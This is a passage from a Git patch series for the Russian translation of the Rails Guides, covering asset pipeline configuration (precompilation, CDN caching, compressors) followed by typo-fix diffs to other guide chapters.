контроллер с помощью дефолтного набора гемов Rails, сгенерируются файл CoffeeScript и файл SCSS вместо обычных файлов JavaScript и CSS. В использованном ранее примере был контроллер с именем "projects", который сгенерировал файлы `app/assets/javascripts/projects.coffee` и `app/assets/stylesheets/projects.scss`. - -В режиме development или если отключен файлопровод, когда запрашиваются эти файлы, они обрабатываются процессорами, предоставленными гемами `coffee-script` и `sass`, а затем отдаются браузеру как JavaScript и CSS соответственно. Когда файлопровод включен, эти файлы обрабатываются и помещаются в директорию `public/assets` для раздачи или приложением Rails, или веб-сервером. - -Может быть запрошен дополнительный уровень обработки, если добавить другое расширение, каждое расширение обрабатывается в порядке справа налево. Их следует использовать в том порядке, в котором должна быть применена обработка. Например, таблица стилей с именем `app/assets/stylesheets/projects.scss.erb` сначала обрабатывается как ERB, затем SCSS и, наконец, отдается как CSS. То же самое применимо к файлу JavaScript - `app/assets/javascripts/projects.coffee.erb` обрабатывается как ERB, затем CoffeeScript и отдается как JavaScript. - -Помните, что порядок этих препроцессоров важен. Например, если вы вызовете свой файл JavaScript `app/assets/javascripts/projects.erb.coffee`, то он будет сначала обработан интерпретатором CoffeeScript, который не понимает ERB, и, следовательно, возникнут проблемы. - -(in-development) В development ------------------------------- - -В режиме development ассеты отдаются как отдельные файлы в порядке, в котором они определены в файле манифеста. - -Этот манифест `app/assets/javascripts/application.js`: - -```js -//= require core -//= require projects -//= require tickets -``` - -сгенерирует этот HTML: - -```html - - - -``` - -Параметр `body` требуется Sprockets. - -### Вызов ошибки, если ассет не найден - -Если используется sprockets-rails >= 3.2.0, можно настроить, что произойдет, когда выполнен поиск ассета, и ничего не было найдено. Если выключить "asset fallback", тогда будет вызвана ошибка, когда ассет не может быть найден. - -```ruby -config.assets.unknown_asset_fallback = false -``` - -Если "asset fallback" включен, тогда, когда ассет не может быть найден, вместо этого будет выведен путь, а не вызвана ошибка. Поведение "asset fallback" включено по умолчанию. - -### Отключение меток - -Можно отключить метки, добавив в `config/environments/development.rb`: - -```ruby -config.assets.digest = false -``` - -Когда эта опция true, для URL ассета будет генерироваться метка. - -### Отключение отладки - -Можно отключить режим отладки, обновив `config/environments/development.rb`, вставив: - -```ruby -config.assets.debug = false -``` - -Когда режим отладки отключен, Sprockets соединяет все файлы и запускает необходимые препроцессоры. С отключенным режимом отладки вышеуказанный манифест сгенерирует: - -```html - -``` - -Ассеты компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP-заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). - -Если какой-либо из файлов в манифесте изменился между запросами, сервер возвращает новый скомпилированный файл. - -Режим отладки также может быть включен в методе хелпера Rails: - -```erb -<%= stylesheet_link_tag "application", debug: true %> -<%= javascript_include_tag "application", debug: true %> -``` - -Опция `:debug` излишняя, если режим отладки всегда включен. - -Также можно включить сжатие в режиме development в качестве проверки на нормальность и отключать его по требованию, когда необходимо для отладки. - -(in-production) В production ----------------------------- - -В среде production Sprockets использует схему меток, [описанную ранее](#what-is-the-asset-pipeline). По умолчанию Rails полагает, что ассеты прекомпилированы и будут отданы как статичные ассеты вашим веб-сервером. - -В течение фазы прекомпиляции из содержимого компилированных файлов генерируется SHA256 и вставляется в имена файлов, когда они записываются на диск. Эти имена меток используются хелперами Rails вместо имени манифеста. - -Например, это: - -```erb -<%= javascript_include_tag "application" %> -<%= stylesheet_link_tag "application" %> -``` - -сгенерирует что-то наподобие этого: - -```html - - -``` - -NOTE: с Asset Pipeline опции `:cache` и `:concat` больше не используются, удалите эти опции из `javascript_include_tag` и `stylesheet_link_tag`. - -Режим меток контролируется с помощью инициализационной опции `config.assets.digest` (которая по умолчанию `true`). - -NOTE: В нормальных обстоятельствах опция `config.assets.digest` по умолчанию не должна изменяться. Если нет дайджеста в именах файлов и установлены заголовки с вечным кэшированием, удаленные клиенты никогда не узнают, когда перезапросить файлы при изменении их содержимого. - -### (precompiling-assets) Прекомпиляция ассетов - -В Rails имеется встроенная задача для компиляции на диск манифестов ассетов и других файлов в файлопроводе. - -Скомпилированные ассеты записываются в адрес, указанный в `config.assets.prefix`. По умолчанию это директория `/assets`. - -Эту задачу можно вызвать на сервере во время деплоя, чтобы создать скомпилированные версии ассетов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. - -Задача такая: - -```bash -$ RAILS_ENV=production bin/rails assets:precompile -``` - -Capistrano (версии 2.15.1 и выше) включает рецепт для управления этим при деплое. Добавьте следующую строчку в `Capfile`: - -```erb -load 'deploy/assets' -``` - -Это свяжет папку, указанную в `config.assets.prefix` с `shared/assets`. Если вы уже используете эту общую папку, вам следует написать собственную задачу для деплоя. - -Важно то, что эта папка является общей между деплоями, так что удаленно кэшированные страницы, ссылающиеся на старые скомпилированные ассеты, все еще будут работать, пока не истечет срок кэширования. - -По умолчанию компилирующиеся файлы включают `application.js`, `application.css` и все не-JS/CSS файлы (это автоматически включает все ассеты изображений) из папок `app/assets`, включая гемы: - -```ruby -[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) }, -/application.(css|js)$/ ] -``` - -NOTE. Условие отбора (и другие части прекомпиляционного массива; смотрите выше) применяется к итоговым скомпилированным именам файлов. Это означает, что все, что компилируется в JS/CSS, исключается, так же, как и файлы с чистым JS/CSS; например, файлы `.coffee` и `.scss` *не* включаются автоматически, так как они компилируются в JS/CSS. - -Если у вас имеются для включения другие манифесты или отдельные таблицы стилей или файлы JavaScript, их можно добавить в массив `precompile` в `config/initializers/assets.rb`: - -```ruby -Rails.application.config.assets.precompile += %w( admin.js admin.css ) -``` - -NOTE. Всегда определяйте ожидаемое имя скомпилированного файла, оканчивающееся на `.js` или `.css`, даже если хотите добавить в массив прекомпиляции файлы Sass или CoffeeScript. - -Задача также генерирует `.sprockets-manifest-md5hash.json` (где `md5hash` - это хэш MD5), который содержит список всех ваших ассетов и соответствующие им метки. Это используется методами хелпера Rails, чтобы избежать направления запроса в Sprockets. Обычный файл манифеста выглядит так: - -```ruby -{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383, -"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="}, -"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994, -"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="}, -"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629, -"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="}, -"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414, -"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}}, -"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js", -"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css", -"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico", -"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}} -``` - -Размещение манифеста по умолчанию - корень папки, определенной в `config.assets.prefix` (по умолчанию '/assets'). - -NOTE: Если в production отсутствуют прекомпилированные файлы, вы получите исключение `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`, указывающее имя отсутствующего файла(-ов). - -#### Вечный заголовок Expires - -Прекомпилированные ассеты существуют в файловой системе и отдаются непосредственно веб-сервером. По умолчанию у них нет заголовков вечного кэширования, таким образом, чтобы получить преимущество от меток, необходимо обновить конфигурацию вашего сервера, чтобы добавить эти заголовки. - -Для Apache: - -```apache -# Директивы Expires* требуют, чтобы модуль Apache `mod_expires` был включен. - - # Не рекомендуется использование ETag, когда присутствует Last-Modified - Header unset ETag - FileETag None - # RFC предписывает кэшировать только на 1 год - ExpiresActive On - ExpiresDefault "access plus 1 year" - -``` - -Для NGINX: - -```nginx -location ~ ^/assets/ { - expires 1y; - add_header Cache-Control public; - - add_header ETag ""; -} -``` - -### Локальная прекомпиляция - -Имеется несколько причин того, что может возникнуть желание компилировать ассеты локально. Вот некоторые из них: - -* У вас нет права записи в файловую систему production. -* Вы размещаетесь более чем на одном сервере и хотите избежать дублирования работы. -* Вы часто производите деплои, не включающие изменения ассетов. - -Локальная компиляция позволяет зафиксировать скомпилированные файлы в управлении версиями и деплоить как обычно. - -Однако есть три оговорки: - -* Вы не должны запускать задачу деплоя с помощью Capistrano, которая прекомпилирует ассеты. -* Вы должны убедиться, что в вашей системе разработки присутствуют все необходимые компрессоры или минифайеры. -* Вы должны изменить следующую конфигурационную настройку приложения: - -В `config/environments/development.rb` поместите следующую строчку: - -```ruby -config.assets.prefix = "/dev-assets" -``` - -Изменение `prefix` позволяет Sprockets использовать другой URL для обслуживания ассетов в режиме development и передавать все запросы в Sprockets. Префикс остался установленным `/assets` в режиме production. Без этого изменения приложение будет обслуживаться прекомпилированными ассетами из `/assets` в development, и вы не увидите какие-либо локальные изменения, пока снова не скомпилируете ассеты. - -На практике это позволит прекомпилировать локально, держать эти файлы в рабочей ветке и при необходимости фиксировать в системе контроля версий. Режим development будет работать так, как от от него ожидается. - -### Компиляция в реальном времени - -В некоторых обстоятельствах, возможно, необходимо использовать компиляцию в реальном времени. В этом режиме все запросы для ассетов в файлопроводе обрабатываются непосредственно Sprockets. - -Чтобы включить эту опцию, установите: - -```ruby -config.assets.compile = true -``` - -При первом запросе ассеты компилируются и кэшируются так, как описывалось в разделе про [development](#in-development), и имена манифеста, использованного в хелперах, изменяется путем включения хэша SHA256. - -Sprockets также устанавливает HTTP-заголовок `Cache-Control` как `max-age=31536000`. Это сигнализирует всем кэшам между вашим сервером и браузером клиента, что это содержимое (отданный файл) может быть закэшировано на 1 год. В результате уменьшается количество запросов для этого ассета на ваш сервер; есть хороший шанс, что ассет будет в локальном кэше браузера или в каком-либо промежуточном кэше. - -Этот режим использует больше памяти, имеет худшее быстродействие, чем по-умолчанию, и не рекомендуется. - -Если приложение размещается в системе без существующего JavaScript runtimes, возможно понадобится добавить в `Gemfile` следующий фрагмент кода: - -```ruby -group :production do - gem 'mini_racer' -end -``` - -### (cdns) CDN - -CDN расшифровывается как [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network), она в основном предназначена для кэширования ассетов по всему миру, поэтому, когда браузер запрашивает ассет, кэшированная копия будет географически ближайшая к этому браузеру. Если отдавать ассеты непосредственно от сервера Rails в production, лучшей практикой будет использовать CDN перед приложением. - -Обычным образцом использования CDN является установка вашего приложения в production как "origin" сервер. Это означает, что когда браузер запрашивает ассет из CDN, и кэш отсутствует, он возьмет файл с вашего сервера на лету и кэширует его. Например, если вы запустили приложение Rails на `example.com`, и у вас настроен CDN на `mycdnsubdomain.fictional-cdn.com`, то, когда делается запрос к `mycdnsubdomain.fictional-cdn.com/assets/smile.png`, CDN единожды запросит ваш сервер на `example.com/assets/smile.png` и кэширует запрос. Следующий запрос к CDN, пришедший по тому же самому URL, получит кэшированную копию. Когда CDN может отдать ассет напрямую, запрос никогда не затронет сервер Rails. Так как ассеты из CDN географически ближе к браузеру, запрос быстрее, и, так как серверу не нужно тратить время на раздачу ассетов, он может сфокусироваться на как можно быстром обслуживании кода приложения. - -#### Настройка CDN на раздачу статических ассетов - -Для настройки CDN вам нужно, чтобы ваше приложение было запущенно в production в интернете на публично доступном URL, например `example.com`. Далее необходимо зарегистрироваться на сервисе CDN облачного провайдера. После этого необходимо настроить "origin" для CDN, указав ваш сайт `example.com`, по документации провайдера по настройке origin-сервера. - -Подготовленный CDN даст определенный поддомен для вашего приложения, такой как `mycdnsubdomain.fictional-cdn.com` (отметьте, что fictional-cdn.com это не существующий провайдер CDN в настоящее время). Теперь, когда есть настроенный сервер CDN, необходимо сообщить браузерам использовать ваш CDN для того, чтобы брать ассеты оттуда, а не от сервера Rails. Это можно осуществить, настроив Rails, установив ваш CDN в качестве хоста ассетов, вместо использования относительного пути. Для настройки хоста ассетов в Rails, необходимо установить `config.action_controller.asset_host` в `config/environments/production.rb`: - -```ruby -config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' -``` - -NOTE: Необходимо предоставить только "host", это поддомен и корневой домен, не нужно указывать протокол или "scheme", такие как `http://` или `https://`. Когда запрашивается страница, протокол в сгенерированной ссылке на ассет будет соответствовать тому, какой доступ к странице. - -Это значение также можно настроить с помощью [переменной среды](https://ru.wikipedia.org/wiki/Переменная_среды), чтобы упростить запуск staging-копий вашего сайта: - -``` -config.action_controller.asset_host = ENV['CDN_HOST'] -``` - -NOTE: Чтобы это работало, вам необходимо установить на сервере `CDN_HOST` значение `mycdnsubdomain.fictional-cdn.com`. - -После того, как вы настроили свой сервер и ваш CDN, когда вы отдаете страницу, содержащую ассет: - -```erb -<%= asset_path('smile.png') %> -``` - -Вместо того, чтобы вернуть путь, такой как `/assets/smile.png` (метки опущены для читаемости), сгенерированный URL будет содержать полный путь к вашему CDN. - -``` -http://mycdnsubdomain.fictional-cdn.com/assets/smile.png -``` - -Если на CDN имеется копия `smile.png`, она будет отдана браузеру, и ваш сервер даже не узнает, что она была запрошена. Если на CDN нет копии, он попытается найти ее на "origin" `example.com/assets/smile.png`, а затем сохранить ее для дальнейшего использования. - -Если хотите отдавать только некоторые ассеты из CDN, можно использовать опцию `:host` в хелпере ассета, переопределяющую значение, установленное в `config.action_controller.asset_host`. - -```erb -<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> -``` - -#### Настройка поведения кэширования CDN - -CDN работает, кэшируя содержимое. Если в CDN имеется устаревшее или плохое содержимое, то это скорее навредит, чем поможет вашему приложению. Целью этого раздела является описание основных особенностей кэширования многих CDN, поведение вашего определенного провайдера может немного отличаться. - -##### Кэширование запросов CDN - -Хотя CDN описывается как кэширующий файлы ассетов, на самом деле он кэширует целые запросы. Они включают тело ассета, а также его заголовки. Наиболее важным является `Cache-Control`, который сообщает CDN (и браузерам), как кэшировать содержимое. Это означает, что если кто-то запрашивает несуществующий ассет `/assets/i-dont-exist.png`, и ваше приложение Rails возвращает 404, тогда ваш CDN скорее всего закэширует страницу 404, если присутствует валидный заголовок `Cache-Control`. - -##### Отладка заголовков CDN - -Одним из способов проверить, что заголовки кэшируются правильно на CDN, является использование [curl](http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). Вы можете запросить заголовки от сервера и от CDN, чтобы сверить, что они одинаковые: - -``` -$ curl -I http://www.example/assets/application- -d0e099e021c95eb0de3615fd1d8c4d83.css -HTTP/1.1 200 OK -Server: Cowboy -Date: Sun, 24 Aug 2014 20:27:50 GMT -Connection: keep-alive -Last-Modified: Thu, 08 May 2014 01:24:14 GMT -Content-Type: text/css -Cache-Control: public, max-age=2592000 -Content-Length: 126560 -Via: 1.1 vegur -``` - -Против копии на CDN. - -``` -$ curl -I http://mycdnsubdomain.fictional-cdn.com/application- -d0e099e021c95eb0de3615fd1d8c4d83.css -HTTP/1.1 200 OK Server: Cowboy Last- -Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css -Cache-Control: -public, max-age=2592000 -Via: 1.1 vegur -Content-Length: 126560 -Accept-Ranges: -bytes -Date: Sun, 24 Aug 2014 20:28:45 GMT -Via: 1.1 varnish -Age: 885814 -Connection: keep-alive -X-Served-By: cache-dfw1828-DFW -X-Cache: HIT -X-Cache-Hits: -68 -X-Timer: S1408912125.211638212,VS0,VE0 -``` - -Проверьте документацию вашего CDN, чтобы найти подробности о том, что такое `X-Cache` или любые другие добавленные ими заголовки. - -##### CDN и заголовок Cache-Control - -[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ассетов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ассет "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении Rails, установив - -``` -config.public_file_server.headers = { - 'Cache-Control' => 'public, max-age=31536000' -} -``` - -Теперь, когда ваше приложение отдает ассет в production, CDN сохранит ассет на один год. Так как большинство CDN также кэшируют заголовки запроса, этот `Cache-Control` будет передан всем браузерам, обращающимся к этому ассету, и браузер будет знать, что он может хранить этот ассет очень долго без необходимости повторного запроса. - -##### CDN и недействительность кэша, основанного на URL - -Большинство CDN кэшируют содержимое ассета, основываясь на полном URL. Это означает, что запрос к - -``` -http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png -``` - -Будет полностью по-другому закэширован, чем - -``` -http://mycdnsubdomain.fictional-cdn.com/assets/smile.png -``` - -Если хотите установить длительный `max-age` в вашем `Cache-Control` (и делаете так), то убедитесь, что, когда вы изменяете ассеты, ваш кэш прекращается. Например, при изменении рожицы смайлика в изображении с желтого на синий, вы хотите, чтобы все посетители вашего сайта получили новую синюю рожицу. При использовании CDN с настройкой файлопровода Rails `config.assets.digest`, установленной true по умолчанию, каждый ассет будет иметь другое имя, если он изменится. Таким образом, вам даже не нужно вручную прекращать любые элементы в вашем кэше. Используя иную технику для уникального имени ассета, ваши пользователи также получат самый свежий ассет. - -Настройка файлопровода ----------------------- - -### Сжатие CSS - -Одним из вариантов для сжатия CSS является YUI. [YUI CSS compressor](https://yui.github.io/yuicompressor/css.html) предоставляет минификацию. - -Следующая строчка включает сжатие YUI и требует гем `yui-compressor`. - -```ruby -config.assets.css_compressor = :yui -``` - -Имеется другой вариант для сжатия CSS, если у вас установлен гем sass-rails - -```ruby -config.assets.css_compressor = :sass -``` - -### Сжатие JavaScript - -Возможные варианты для сжатия JavaScript это `:closure`, `:uglifier` and `:yui`. Они требуют использование гемов `closure-compiler`, `uglifier` или `yui-compressor` соответственно. - -`Gemfile` по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для NodeJS) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. - -Следующая строчка вызывает `uglifier` для сжатия JavaScript. - -```ruby -config.assets.js_compressor = :uglifier -``` - -NOTE: Необходим runtime, поддерживаемый [ExecJS](https://github.com/rails/execjs#readme), чтобы использовать `uglifier`. Если используете macOS или Windows, у вас уже имеется JavaScript runtime, установленный в операционной системе. - -### Обслуживание сжатой версии ассетов - -По умолчанию будет сгенерирована сжатая версия скомпилированных ассетов, вместе с несжатой версией ассетов. Сжатые ассеты помогают уменьшить передачу данных через канал связи. Это можно настроить, установив флажок `gzip`. - -```ruby -config.assets.gzip = false # отключает генерацию сжатых ассетов -``` - -### Использование собственного компрессора - -Настройки конфигурации компрессора для CSS и JavaScript также могут принимать любой объект. Этот объект должен иметь метод `compress`, принимающий строку как единственный аргумент, и он должен возвращать строку. - -```ruby -class Transformer - def compress(string) - do_something_returning_a_string(string) - end -end -``` - -Чтобы его включить, передайте `new` объект в настройку конфигурации в `application.rb`: - -```ruby -config.assets.css_compressor = Transformer.new -``` - -### Изменение пути _assets_ - -Публичный путь, используемый Sprockets по умолчанию, это `/assets`. - -Он может быть заменен на что-то другое: - -```ruby -config.assets.prefix = "/some_other_path" -``` - -Это удобная опция, если вы обновляете старый проект, не использующий файлопровод и уже использующий этот путь, или вы хотите использовать этот путь для нового ресурса. - -### Заголовки X-Sendfile - -Заголовок X-Sendfile — это указание веб-серверу игнорировать отклик от приложения, и вместо этого отдать определенный файл с диска. Эта опция отключена по умолчанию, но может быть включена, если ее поддерживает сервер. Когда опция включена, обязанность по отдаче файла передается веб-серверу, который справляется с ней быстрее. Обратитесь к [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file), чтобы узнать, как использовать эту особенность. - -Apache и NGINX поддерживают эту опцию. Она включается в `config/environments/production.rb`. - -```ruby -# config.action_dispatch.x_sendfile_header = "X-Sendfile" # для Apache -# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # для NGINX -``` - -WARNING: Если вы обновляете свое существующее приложение и намереваетесь использовать эту опцию, убедитесь, что скопировали эту опцию только в `production.rb` и в любую другую среду, которую вы определили, как имеющую поведение production (не в `application.rb`). - -TIP: За дальнейшими подробностями обращайтесь к документации своих веб-серверов: - -- [Apache](https://tn123.org/mod_xsendfile/) -- [NGINX](http://wiki.nginx.org/XSendfile) - -Хранилище кэша ассетов ----------------------- - -По умолчанию Sprockets кэширует ассеты в `tmp/cache/assets` в development и production. Это может быть изменено следующим образом: - -```ruby -config.assets.configure do |env| - env.cache = ActiveSupport::Cache.lookup_store(:memory_store, - { size: 32.megabytes }) -end -``` - -Чтобы отключить хранилище кэша ассетов: - -```ruby -config.assets.configure do |env| - env.cache = ActiveSupport::Cache.lookup_store(:null_store) -end -``` - -Добавление ассетов в ваши гемы ------------------------------- - -Ассеты также могут идти от внешних источников в виде гемов. - -Хорошим примером этого является гем `jquery-rails`, поставляющийся вместе с Rails как гем стандартной JavaScript библиотеки. Этот гем содержит класс engine, унаследованный от `Rails::Engine`. Сделав так, Rails становится проинформированным, что директории для этого гема могут содержать ассеты, и директории `app/assets`, `lib/assets` и `vendor/assets` этого engine добавляются в путь поиска Sprockets. - -Создание препроцессора в вашей библиотеке или геме --------------------------------------------------- - -Sprockets использует Процессоры, Трансформеры, Компрессоры и Экспортеры для расширения функциональности Sprockets. Обратитесь к [Расширение Sprockets](https://github.com/rails/sprockets/blob/master/guides/extending_sprockets.md), чтобы узнать больше об этом. Здесь мы зарегистрировали препроцессор, чтобы добавить комментарий в конец text/css (`.css`) файлов. - -```ruby -module AddComment - def self.call(input) - { data: input[:data] + "/* Hello From my sprockets extension */" } - end -end -``` - -Теперь, когда у вас есть модуль, который изменяет входные данные, самое время зарегистрировать его как препроцессор для вашего mime типа. - -```ruby -Sprockets.register_preprocessor 'text/css', AddComment -``` - -Обновление со старых версий Rails ---------------------------------- - -Имеется несколько проблем при обновлении c Rails 3.0 или Rails 2.x. Первая — это перемещение файлов из `public/` в новые места размещения. Смотрите [Организация ассетов](#how-to-use-the-asset-pipeline) ранее в руководстве для правильного размещения файлов разных типов. - -Следующей является необходимость избегать дублирования файлов JavaScript. Так как jQuery является библиотекой JavaScript по умолчанию, начиная с Rails 3.1 и далее, не нужно копировать `jquery.js` в `app/assets`, он будет включен автоматически. - -Третья это обновление файлов различных сред с правильными значениями по умолчанию. - -В `application.rb`: - -```ruby -# Версия ассетов, измените ее, если хотите, чтобы срок существующих ассетов истек -config.assets.version = '1.0' - -# Измените путь, откуда отдаются ассеты для config.assets.prefix = "/assets" -``` - -В `development.rb`: - -```ruby -# Разворачивать строчки, загружающие ассеты -config.assets.debug = true -``` - -И в `production.rb`: - -```ruby -# Выбрать используемый компрессор (если имеется) -config.assets.js_compressor = :uglifier -# config.assets.css_compressor = :yui - -# Не обращаться к файлопроводу, если отсутствует прекомпилированный ассет -config.assets.compile = false - -# Генерировать дайджесты для URL ассетов. -config.assets.digest = true - -# Прекомпилировать дополнительные ассеты (application.js, application.css и все -# не-JS/CSS уже добавлены) -# config.assets.precompile `= %w( admin.js admin.css ) -``` - -Rails 4 и выше более не устанавливает конфигурационные значения по умолчанию для Sprockets в `test.rb`, поэтому теперь `test.rb` требует конфигурацию Sprockets. Старыми значениями по умолчанию в тестовом окружении являются: `config.assets.compile = true`, `config.assets.compress = -false`, `config.assets.debug = false` и `config.assets.digest = false`. - -Следующее также должно быть добавлено в `Gemfile`: - -```ruby -gem 'sass-rails', "~> 3.2.3" -gem 'coffee-rails', "~> 3.2.1" -gem 'uglifier' -``` diff --git a/source/index.yml b/source/index.yml index 172c5024..cda72b54 100644 --- a/source/index.yml +++ b/source/index.yml @@ -318,6 +318,12 @@ pages: revision: b5cd7d5b511361062f67ebad45ab38393970fc47 date: 16/11/2017 + - title: Обзор Active Storage + path: active_storage_overview + file: active_storage_overview.md + revision: + date: 05/12/2017 + plan: [] old: From be3c63e73dca3be21400d0e368aebba031697c11 Mon Sep 17 00:00:00 2001 From: kunashir Date: Fri, 5 Jan 2018 15:46:32 +0300 Subject: [PATCH 352/932] Small mistyping --- source/association_basics.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/association_basics.md b/source/association_basics.md index 3de8f736..1029b230 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -1257,7 +1257,7 @@ end * `:restrict_with_exception` приведет к вызову исключения, если есть связанный объект * `:restrict_with_error` приведет к ошибке, добавляемой к владельцу, если есть связанный объект -Нельзя устанавливать или уставлять опцию `:nullify` для связей, имеющих ограничение `NOT NULL`. Если не установить `dependent` для уничтожения таких связей, вы не сможете изменить связанный объект, акт как внешнему ключу изначально связанного объекта будет назначено недопустимое значение `NULL`. +Нельзя устанавливать или уставлять опцию `:nullify` для связей, имеющих ограничение `NOT NULL`. Если не установить `dependent` для уничтожения таких связей, вы не сможете изменить связанный объект, так как внешнему ключу изначально связанного объекта будет назначено недопустимое значение `NULL`. #### `:foreign_key` From 8842e847e76c5229cd75d752534b5ca56dcfabf1 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Thu, 4 Jan 2018 15:26:20 +0300 Subject: [PATCH 353/932] New fixes 04-01 --- source/3_1_release_notes.md | 2 +- source/4_0_release_notes.md | 2 +- source/5_0_release_notes.md | 8 ++--- source/5_1_release_notes.md | 2 +- source/action_cable_overview.md | 2 +- source/action_controller_overview.md | 10 +++---- source/action_mailer_basics.md | 2 +- source/action_view_overview.md | 2 +- source/active_job_basics.md | 8 ++--- source/active_model_basics.md | 2 +- source/active_record_basics.md | 8 ++--- source/active_record_callbacks.md | 10 +++---- source/active_record_migrations.md | 14 ++++----- source/active_record_querying.md | 34 +++++++++++----------- source/active_record_validations.md | 2 +- source/active_support_core_extensions.md | 2 +- source/asset_pipeline.md | 10 +++---- source/association_basics.md | 6 ++-- source/caching_with_rails.md | 2 +- source/command_line.md | 2 +- source/contributing_to_ruby_on_rails.md | 6 ++-- source/debugging_rails_applications.md | 2 +- source/development_dependencies_install.md | 2 +- source/diff.diffrake | 0 source/engines.md | 2 +- source/form_helpers.md | 4 +-- source/generators.md | 4 +-- source/getting_started.md | 8 ++--- source/i18n.md | 6 ++-- source/initialization.md | 8 ++--- source/layouts_and_rendering.md | 6 ++-- source/plugins.md | 4 +-- source/rails_application_templates.md | 4 +-- source/rails_on_rack.md | 4 +-- source/routing.md | 6 ++-- source/security.md | 14 ++++----- source/testing.md | 4 +-- source/threading_and_code_execution.md | 2 +- source/upgrading_ruby_on_rails.md | 12 ++++---- source/working_with_javascript_in_rails.md | 14 ++++----- 40 files changed, 121 insertions(+), 121 deletions(-) delete mode 100644 source/diff.diffrake diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index 4aba55c9..768f6209 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -406,7 +406,7 @@ Active Record * Одиночные связи (`has_one`, `belongs_to`) больше не имеют прокси, и просто возвращают связанную запись или `nil`. Это означает, что больше не следует использовать недокументированные методы наподобие `bob.mother.create` - используйте вместо этого `bob.create_mother`. -* Поддержка опции `:dependent` для связи `has_many :through`. По историческим и практическим причинам, `:delete_all` является стратегией удаления по умолчанию, используемой в `association.delete(*records)`, не смотря на то, что стратегией по умолчанию для обычного has_many является `:nullify`. Также, это работает только если вторая сторона связи belongs_to. В других ситуациях следует непосредственно изменить связь through. +* Поддержка опции `:dependent` для связи `has_many :through`. По историческим и практическим причинам, `:delete_all` является стратегией удаления по умолчанию, используемой в `association.delete(*records)`, не смотря на то, что стратегией по умолчанию для обычного has_many является `:nullify`. Также это работает, только если вторая сторона связи belongs_to. В других ситуациях следует непосредственно изменить связь through. * Изменилось поведение `association.destroy` для `has_and_belongs_to_many` и `has_many :through`. Теперь 'destroy' или 'delete' на связи будет означать 'избавиться от связи', а не (обязательно) 'избавиться от связанных записей'. diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 507400cf..2230d737 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -247,7 +247,7 @@ Active Record * Убрана IdentityMap. -* Убран автоматический запуск запросов EXPLAIN. Опция `active_record.auto_explain_threshold_in_seconds` больше не используется и должна быть убрана. +* Убрано автоматическое выполнение запросов EXPLAIN. Опция `active_record.auto_explain_threshold_in_seconds` больше не используется и должна быть убрана. * Добавлены `ActiveRecord::NullRelation` и 